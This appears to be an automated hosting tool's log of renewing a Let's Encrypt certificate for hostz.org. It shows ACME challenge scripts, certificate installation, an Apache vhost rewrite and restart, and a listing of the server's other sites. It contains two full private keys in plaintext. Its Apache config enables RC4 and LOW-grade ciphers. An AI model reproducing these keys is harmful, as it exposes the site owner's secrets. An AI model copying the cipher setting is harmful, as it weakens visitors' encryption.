obi9SaIh7MUoIU21g2Yt5p620CDCzE5ieyedoEDzMhFCYRr/WEKLIMl/6NMBA+Ae
gjNqGXTRq83aTkKW3Y8x0ZsMEJnoocDl5uXVzUU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEwAIBADANBgkqhkiG9w0BAQEFAASCBKowggSmAgEAAoIBAQCx3B3ibddFIaXr
fLNJZi8xXoaQk88A1u2Z2MtHhlJEWMRDgeyb8xOBWRVSwaWCq7fjI5+xp1/0nszO
EhyF8TWx64mYtpgYr+qUWLBTM3x8Zc4N9cFqwIQIyRO9fobvUdOCnXAB4y/HJ32n
RL87Yr6s2Rj21nc7VaWYQLv5J+NY+yo7NdHkFVM43lcP5FKef55ot5elitDKFtA7
kmMdQz/xmTvjMdjlUyJ2fXQbKJ89DuuPhfFQUGPAORN40xaDnkvlWV7fsEisygK2
GFzsX/2j1XC0Za3ru/rgib/N8HWV02Ma+bn8CI2P/PyCNG7FyT4MEyo+C8yrxl9q
2f2E5zMhAgMBAAECggEBAKUrcgE92iUUC1517pViNL9XNgX7jcgM0JgHsTeZ8LoR
6Sl79XwZr2p2jQvOU2LXDyz7fyje84hbFHzmauCkUSYKQzyzjOmYLHNZLV4GuTtY
25MxP05gu/zgptlaL/r9dTud8099aHg9Hz5/5EtE9yfTcJCCODW84sxSiX3nYgTV
pa08sND7XAOJ4R7354eddnHJiK7umqCJrKkAH1hwfw0WL3eRPcoOM9HLxYJcELzQ
xmNQ+lsj9M+wjZXWxB16EKbVev/uvVAzgczIDHlgR48CwXxR7mx8lXlHnQ4Sq8WW
osU0N+Xkdx4nxXrqN1ijxxG3Buov0o0NKk3TMcATOcECgYEA4mQftn38TLga8WzW
G8J6BWHnlNg/4PiQgEBqJt9m9x+UwUQwBh6b1kA337W4UPROc17kHSGeoCfgRwun
EtOvcmKEMnXanvkGPdNc3B41kcwn4gR2Sw2heyM7v+6ObVZUoL6My2W44bN4ui1/
qm20ccJUqwNoBF/PwpkfpzB4n2kCgYEAyR8Z2bTDay5s3trbNN80wSDkSIpfll/9
sNY8MVp1t0ATEpIds4SWtTBUeziQOzNfjAOPXmWcUPh1nWK8Dz7B403D8OJQD6i7
enu6orTVCJSzGniMhbLA13vMrNqimpe94s4RPQAqZAtleYTZPAskpx1nsWjOGmiX
t4EMgDPUNvkCgYEAsLBuI9LuL75coOJNtLqy2zKPOJcSO/YjaUVc09v2E5ddVP1v
8ca/35adRQchxGT4OYjsxmOv1tVocGqCyenW+5IyFOPwbbRzj5s/1TfqnVDWK8tJ
u8f2qRFVl7WLCYCgahht8G0Cv3yAE+ZgxlX6x/JgfFwbOZbBouI5VxY4fkkCgYEA
roFtzJgrdzQxAqyixp1lCK2hZc+qYK+pT2aTk78JpJbT9akSXFEO8uecZc4OV0+b
98CfBSjlGNx8MLMauZ+aW7994+R50xx0jzIMHmEI9wkO3kj6pIcVC+M/FDwgGkLP
X5utGWCrZ2L8CRRb6N1CUD4TWru1GPTnrzEpx5Mw7wECgYEAtMaSHFDAyal/WFe/
ZPCWyeJuPL+Cw5yP+UPI9BmVgWF565WP4We4XC2+GS8iYfbfD2k4GYV/vJj47sO8
M7vKFk/JDHQG7vdrzvXhp3NrrBqn46A1KpNhc2bie3K5dHRhVbVA1yQGa2VeE2x1
fs7uC1V/JCxGtA6o6oM5itw4wA0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-09-26 06:00:33: Establishing a connection
2025-09-26 06:00:33: Establishing a connection
2025-09-26 06:00:33: 

PUT: /tmp/pkp517631

#!/bin/bash
if [ -d "/var/www/hostz_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-26 06:00:33: 

chmod 755 /tmp/pkp517631; /tmp/pkp517631; rm /tmp/pkp517631

2025-09-26 06:00:33: 


1


2025-09-26 06:00:34: Establishing a connection
2025-09-26 06:00:34: 

PUT: /tmp/pkp598982

#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
cat > vSUTSN_hB2pg_n9iIk_Bs4nDudK0Og50SPztZu2bLBY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
vSUTSN_hB2pg_n9iIk_Bs4nDudK0Og50SPztZu2bLBY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 vSUTSN_hB2pg_n9iIk_Bs4nDudK0Og50SPztZu2bLBY
cat > eY-2JG--QZR0AXl9PAQBCmL8NKZFvyi2lIixjGyIc4Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
eY-2JG--QZR0AXl9PAQBCmL8NKZFvyi2lIixjGyIc4Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 eY-2JG--QZR0AXl9PAQBCmL8NKZFvyi2lIixjGyIc4Y


2025-09-26 06:00:34: 

chmod 755 /tmp/pkp598982; /tmp/pkp598982; rm /tmp/pkp598982

2025-09-26 06:00:34: 




2025-09-26 06:00:41: Establishing a connection
2025-09-26 06:00:41: 

PUT: /tmp/pkp552932

#!/bin/bash
mkdir -p "/var/www/hostz_www/.well-known/acme-challenge/"
cd "/var/www/hostz_www/.well-known/acme-challenge/"
rm vSUTSN_hB2pg_n9iIk_Bs4nDudK0Og50SPztZu2bLBY
rm eY-2JG--QZR0AXl9PAQBCmL8NKZFvyi2lIixjGyIc4Y


2025-09-26 06:00:41: 

chmod 755 /tmp/pkp552932; /tmp/pkp552932; rm /tmp/pkp552932

2025-09-26 06:00:41: 




2025-09-26 06:00:41: Establishing a connection
2025-09-26 06:00:41: 

PUT: /tmp/pkp665575

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d.crt

cat > $temp_file <<'endmsg'
44:b1:1c:ca:e7:f2:3c:63:29:71:41:d3:fd:9f:9a:33

-----BEGIN CERTIFICATE-----
MIIE/TCCA+WgAwIBAgISBfKOFCWWpxyCl18eOpTTlT+KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTI2MDUwMjA5WhcNMjUxMjI1MDUwMjA4WjAUMRIwEAYDVQQD
Ewlob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDcHX6a
xF65GUx5by4Z03QR2cUAMnIYz7BNml9QAHcOOVgh0osUf63Rs1DUNH7DDj7noSpn
wQDb8bjvh1T1QeY9PsGUAruBo947RDpfBwzZhP4YzccvrAi5dRkmwASclWFWYBKp
FT/oHlBy3rW/TeQsVlZ34D0xHPQgBjNAncFUMr5XKIUJRF0sL2F95/35rWmlUe4S
7iI0oO8SWfbGN7DT3Dl+ZHVO25Zlrdug2ct5nakTpHpsXt3wZgDRC2prFVzMaiED
96iNr/Qp9/zgxoqLAYRv89OtNupSPC5T+snMQRUqH1LYiFgh4yHqHbxAXysE+RWl
yMQ7z2cUhguDLIrnAgMBAAGjggIoMIICJDAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0l
BBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FLY0LGt+Db9o9IBvgSR5j351HFTfMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIJaG9zdHoub3Jngg13d3cuaG9zdHoub3Jn
MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9y
MTIuYy5sZW5jci5vcmcvMTEuY3JsMIIBBAYKKwYBBAHWeQIEAgSB9QSB8gDwAHYA
7TxL1ugGwqSiAFfbyyTiOAHfUS/txIbFcA8g3bc+P+AAAAGZhJwAwgAABAMARzBF
AiEAgCjiP0LEfpJY3jgNY9ZXnD4rO4dEnQriuHyc5BSJP1oCICN2SmskJ9TAMeTC
lRaKS5kFl2M45cYYFqJFmU2KU+KjAHYAEvFONL1TckyEBhnDjz96E/jntWKHiJxt
MAWE6+WGJjoAAAGZhJwAxQAABAMARzBFAiByskBe5/rsqYwEpZQ6s759EgiGGTOJ
4yarpR1W+TLnEAIhAK1Fk4Hr/sn3nmT23fZUbVXltJbW3/d6S0ZQDUyWyBLnMA0G
CSqGSIb3DQEBCwUAA4IBAQAuVnjW1WjXo1FdBDzHhPYAnwd6uc0HhBSZRrVLsFaI
n7wb5DfcSBtALPSL+ZCMzcFTl7EuHVyPORM3gqioBUpIx6SO3yVVYhzaBGMMB+y4
TMLWD5MeH8IKX2ZWV7f1GtXu/c+fP1modZMzXCNzLv+YaWIi/MVgXLCjOzy8pRAJ
0t9aXyp8pdjJV6tfVc4sSWH+vbmBcpplhZQlSwUp7FGgDIuFbHzOSOKa5Svacjkt
WWS563jYsF9SvCQqjdEFRkvLL3R46Jd8LaBmaTHIE8ZLE/Wc/hrW3PGBx4B1sek6
Lv7rbNPZ83kFR98yss+kbkfzxO4f1rVw5qu7GzbnMNkl
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDcHX6axF65GUx5
by4Z03QR2cUAMnIYz7BNml9QAHcOOVgh0osUf63Rs1DUNH7DDj7noSpnwQDb8bjv
h1T1QeY9PsGUAruBo947RDpfBwzZhP4YzccvrAi5dRkmwASclWFWYBKpFT/oHlBy
3rW/TeQsVlZ34D0xHPQgBjNAncFUMr5XKIUJRF0sL2F95/35rWmlUe4S7iI0oO8S
WfbGN7DT3Dl+ZHVO25Zlrdug2ct5nakTpHpsXt3wZgDRC2prFVzMaiED96iNr/Qp
9/zgxoqLAYRv89OtNupSPC5T+snMQRUqH1LYiFgh4yHqHbxAXysE+RWlyMQ7z2cU
hguDLIrnAgMBAAECggEAPF/6sgja0nqV91j/lCXj2GGbH4q2sQeGnEKTkiYOgeBI
xD4z19ONoc9FhG9Btc7agj46m2rdCXcr+sdsDjmdJX9pKWf2doC0HB2CxT3x0Fgi
Ojt3PyQ44GW2GGLi4PA4WrDPbYFenhRyjI952pdK1r53yTnAjxAaBg6tUDP1K1qd
hofd43JzWWSs91PmAcGLwSccEz5ksJmD4NfSrIf+VJIwi6xr8/m8il23rdYbXCai
Cuave4X8SmXsXrbEKvRJwe/06Qx5Iex59G54nnl4NEdw2YSKSY0rV5yQgHgfZBmi
1baRpNA0RH69iagnoNfArYWFAgecTDYoJuE9mnkZwQKBgQDznUn2epq6ZVdDAZVf
yQj3WjbPDv7JfjYp1Duvx0FWnmpfdcKq5Akdyc+ZDSXBRfI7vBoqth4ueP1lx10x
li+DFAzTprXgUtSp/TmU8pFacvDOptdUny+DlpIBJb63mORHFzked/EYOZ7Ejegc
sIpL3G86GBjj4VGoO8RWxuB46wKBgQDnTltcYYqqA3RXDTqd4bIKH4tEdvgBkhlc
ZM05JgCQt1Ex52hgHX8uYdiI0isUTzZVR+vqSHXkqogRWD9TzveOcBvPHaocVTVa
VwFwSnYIXVbugkjCwZb/N4H1K2Ck/vCzbG2P7bkvbzsbgNBSTaWu5BeqAB7eImcg
EihK9LX29QKBgAE77r/85wPCt6pzO5p8njsCjfyGiuviY8vac2L0k3Qo4UkSg6Xx
+cnY1+BinKpZ/FwpG8jTm1uI6V+2ntY9eIglddssoQc95C3oRn5mrC3VHzssxTJ8
i/USsjKnSkwLzjw99eAdo28H+7HrNh3PFyRDPZ0Buj6NSaichOYbo895AoGBAKcE
o1+PZyrgF6+L89lw0LgSkuM67FVmAz3941nyoNHeLJjWOT29zsnVCR+ycjzV/auS
pTykWcxlfp7Xk9KWTZbiSJJDH0QaGs5CqN1GRvg/Pbg3Bwbp9ngOwp4fVkeNdox4
LJyS0Pb5YDq5xrLHMm2YcaXlNGS9fq1frwyAqqvJAoGAR2qT6QXlpZuffjvea0LP
rf+DKoa3wLK6h5g9V/lqmP7PHGC9avC/i69MWU+juvOK/ZlsJ5Aj3l1ufZPphJHW
zOdTpKJiIk4r9jwE6ehxSFceGl7K6zxfknO0Arn1/jgqf8PtWVXhY80aduq8OcCo
c9lRrtm7yi4fVOgpvt/Re4U=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-09-26 06:00:41: 

chmod 755 /tmp/pkp665575; /tmp/pkp665575; rm /tmp/pkp665575

2025-09-26 06:00:41: 


dir=/etc/ssl/certs


2025-09-26 06:00:41: 

PUT: /tmp/pkp452129

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_www_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-09-26 06:00:41: 

chmod 755 /tmp/pkp452129; /tmp/pkp452129; rm /tmp/pkp452129

2025-09-26 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_www_org.conf 37

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-09-26 06:00:41: 

PUT: /tmp/pkp152188

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_www_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_www_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	hostz.org
    ServerAlias	www.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d.crt
    DocumentRoot	/var/www/hostz_www
    <Directory /var/www/hostz_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hostz/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hostz/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_www_org.conf= 1'
fi


2025-09-26 06:00:41: 

chmod 755 /tmp/pkp152188; /tmp/pkp152188; rm /tmp/pkp152188

2025-09-26 06:00:41: 




2025-09-26 06:00:41: 

PUT: /tmp/pkp854908

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-09-26 06:00:41: 

chmod 755 /tmp/pkp854908; /tmp/pkp854908; rm /tmp/pkp854908

2025-09-26 06:00:41: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-09-26 06:00:41: Establishing a connection
2025-09-26 06:00:41: 

PUT: /tmp/pkp342670

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-09-26 06:00:41: 

chmod 755 /tmp/pkp342670; /tmp/pkp342670; rm /tmp/pkp342670

2025-09-26 06:00:41: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
         port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
         port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
         port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
         port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
                 alias www.hopeinstoughton.org
         port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
         port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
                 alias www.hostz.org
         port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
                 alias www.kjvdictionary.org
         port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
         port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
         port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
         port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
                 alias www.patientapps.co
         port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
         port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
         port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
         port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
                 alias www.pjy.us
         port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
                 wild alias *.stoughton.link
         port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
                 alias www.theyoungdesigners.com
         port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
                 alias www.theyoungdesigners.us
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
*:443                  is a NameVirtualHost
         default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
         port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
         port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
         port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
                 alias www.hopeinstoughton.org
         port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
         port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
                 alias www.hostz.org
         port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
                 alias www.kjvdictionary.org
         port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
         port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
         port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
                 alias www.patientapps.co
         port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
         port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
         port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
         port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
                 alias www.pjy.us
         port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
                 wild alias *.stoughton.link
         port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
                 alias www.theyoungdesigners.com
